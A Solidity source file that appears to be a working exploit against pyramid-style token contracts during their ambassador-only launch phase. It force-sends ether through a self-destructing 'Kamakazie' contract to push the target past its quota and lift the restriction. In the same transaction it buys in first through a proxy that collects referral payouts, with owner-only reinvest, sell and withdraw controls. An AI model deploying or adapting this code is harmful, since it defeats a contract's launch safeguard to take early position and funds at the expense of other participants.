pragma solidity 0.4.25; //GENERIC PYR INTERFACE contract PyrAbstract { function stakingRequirement() pure public returns(uint256) {} function onlyAmbassadors() pure public returns(bool) {} function buyPrice() pure public returns(uint256) {} function buy(address) public payable returns(uint256) {} //referral function reinvest() pure public {} function sell(uint256) pure public {} //token amount function withdraw() pure public {} function exit() pure public {} } //MAIN CONTRACT contract EarlyStart { using SafeMath for uint256; //STORAGE address public owner; address public target; address public kamakazie; address public refCollector; uint256 public targetAmbassadorQuota; //CONSTRUCTOR constructor(address _targetAddress, uint256 _ambassadorQuota) public { owner = msg.sender; setTarget(_targetAddress, _ambassadorQuota); } //MODIFIERS modifier onlyOwner() { require (msg.sender == owner); _; } //OWNER FUNCTIONS function setTarget(address _targetAddress, uint256 _ambassadorQuota) public onlyOwner() { target = _targetAddress; targetAmbassadorQuota = _ambassadorQuota; } function proxyBuy() external payable onlyOwner() { //instatite target contract PyrAbstract p = PyrAbstract(target); //check no one else has flipped the switch require (p.onlyAmbassadors() == true); //calc amount needed to activate contract uint256 overflowAmount = targetAmbassadorQuota.sub(checkTargetBalance()) + 1; require (msg.value > overflowAmount); //deploy new contract and self destruct Kamakazie k = (new Kamakazie).value(overflowAmount)(target); kamakazie = k; uint256 fundsLeft = msg.value.sub(overflowAmount); //buy in with ref threshold through proxy contract uint256 masternodeCost = calcMasternodeCost(); RefCollector r = (new RefCollector).value(masternodeCost)(target); refCollector = r; fundsLeft = fundsLeft.sub(masternodeCost); //big buy p.buy.value(fundsLeft)(r); //selfdestruct proxy contract to collect referral r.proxyExit(); } function proxyReinvest() external onlyOwner() { PyrAbstract p = PyrAbstract(target); p.reinvest(); } function proxySell(uint256 _tokens) external onlyOwner() { PyrAbstract p = PyrAbstract(target); p.sell(_tokens); } function proxyWithdraw() external onlyOwner() { PyrAbstract p = PyrAbstract(target); p.withdraw(); } function proxyExit() external onlyOwner() { PyrAbstract p = PyrAbstract(target); p.exit(); } function ownerWithdraw() external onlyOwner() { owner.transfer(address(this).balance); } //VIEW FUNCTIONS function checkBalance() external view onlyOwner() returns(uint256) { return address(this).balance; } function checkTargetBalance() public view onlyOwner() returns(uint256) { return target.balance; } function calcMasternodeCost() public view onlyOwner() returns(uint256) { PyrAbstract p = PyrAbstract(target); return p.stakingRequirement().mul(p.buyPrice().div(10**18)); } //FALLBACK function() public payable {} } //SUICIDE CONTRACT contract Kamakazie { constructor(address _target) public payable { selfdestruct(_target); } } //REF COLLECTOR CONTRACT contract RefCollector is PyrAbstract { address public target; address public master; constructor(address _target) public payable{ target = _target; master = msg.sender; proxyBuy(); } function proxyBuy() public payable { PyrAbstract p = PyrAbstract(target); p.buy(address(0)); } function proxyExit() public { PyrAbstract p = PyrAbstract(target); p.exit(); selfdestruct(master); } function() public payable {} } //LIBRARIES library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require (c / a == b, "the SafeMath multiplication check failed"); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { require (b > 0, "the SafeMath division check failed"); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { require (b <= a, "the SafeMath subtraction check failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require (c >= a, "the SafeMath addition check failed"); return c; } }
0.4.25